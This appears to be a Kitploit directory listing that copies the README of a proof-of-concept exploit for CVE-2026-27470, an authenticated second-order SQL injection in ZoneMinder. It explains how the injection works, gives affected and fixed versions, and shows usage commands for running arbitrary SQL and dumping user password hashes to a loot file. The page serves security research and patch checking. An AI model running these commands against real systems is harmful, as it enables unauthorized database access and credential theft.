Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-27470-POC — Python PoC for CVE-2026-27470, authenticated second-order SQL injection in ZoneMinder's getNearEvents() (status.php), CVSS 8.8 | Kitploit
Tools/GitHubGitHub/d3vn0mi/cve-2026-27470-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubd3vn0mi/cve-2026-27470-poc

CVE-2026-27470-POC

Python PoC for CVE-2026-27470, authenticated second-order SQL injection in ZoneMinder's getNearEvents() (status.php), CVSS 8.8

View Repository
26 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-27470 — ZoneMinder Second-Order SQL Injection PoC

Author: d3vn0mi | CVSS 8.8 | Authenticated | Events Permission Required

Overview

CVE-2026-27470 is a second-order SQL injection vulnerability in ZoneMinder's web/ajax/status.php — specifically the getNearEvents() function.

DetailValue
AffectedZoneMinder <= 1.36.37 and 1.37.61 – 1.38.0
Fixed in1.36.38 / 1.38.1
TypeSecond-Order SQL Injection
Auth requiredYes (any user with Events permission)
CVSS8.8 (High)

How It Works

The vulnerability is a two-phase (second-order) SQL injection:

  1. Phase 1 — Store: The attacker renames an event (or edits its Cause field) to contain a SQL payload. ZoneMinder uses a parameterized query for this write, so the payload is stored safely in the database — no WAF or filter blocks it.

  2. Phase 2 — Trigger: The attacker requests the nearevents entity via the status API. The getNearEvents() function reads the stored event Name/Cause from the database and concatenates it directly into a new SQL query without sanitization, resulting in SQL injection.

Because the injection vector (stored data) is separate from the trigger (a clean GET request), this bypasses most input-level protections.

Installation

root@kitploit:~
git clone https://github.com/d3vn0mi/CVE-2026-27470-POC.git
cd CVE-2026-27470-POC
pip install -r requirements.txt

Usage

Basic — Extract Database Version

root@kitploit:~
python3 poc.py -t http://10.10.10.10 -u admin -p password

Custom SQL Query

root@kitploit:~
python3 poc.py -t http://10.10.10.10 -u admin -p password --query "SELECT user()"

Dump All Users and Password Hashes

root@kitploit:~
python3 poc.py -t http://10.10.10.10 -u admin -p password --dump-users

Credentials are saved to dumped_creds.txt by default.

Save Results to a Custom File

root@kitploit:~
python3 poc.py -t http://10.10.10.10 -u admin -p password --dump-users -o loot.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password --query "SELECT @@datadir" -o result.txt

Route Through a Proxy (Burp / mitmproxy)

root@kitploit:~
python3 poc.py -t http://10.10.10.10 -u admin -p password --proxy http://127.0.0.1:8080

Use the Cause Field Instead of Name

root@kitploit:~
python3 poc.py -t http://10.10.10.10 -u admin -p password --field Cause --query "SELECT database()"

Specify an Event ID Manually

root@kitploit:~
python3 poc.py -t http://10.10.10.10 -u admin -p password --event-id 42

Verbose / Debug Output

root@kitploit:~
python3 poc.py -t http://10.10.10.10 -u admin -p password -v

Options

FlagDescriptionDefault
-t, --targetTarget URL(required)
-u, --usernameZoneMinder username(required)
-p, --passwordZoneMinder password(required)
--querySQL query to executeSELECT VERSION()
--dump-usersDump all usernames and password hashes
-o, --outputSave results to filedumped_creds.txt
--event-idEvent ID to use as injection carrier(auto-detected)
--fieldInjection field: Name or CauseName
--no-restoreDon't restore the event name after exploitation
--proxyHTTP proxy URL
--timeoutRequest timeout in seconds30
-v, --verboseEnable debug logging

Disclaimer

This tool is provided for educational and authorized security research purposes only. Do not use it against systems you do not own or have explicit written permission to test. The authors are not responsible for any misuse or damage caused by this tool.

References

  • ZoneMinder Official Site
  • ZoneMinder GitHub Repository
Download Tool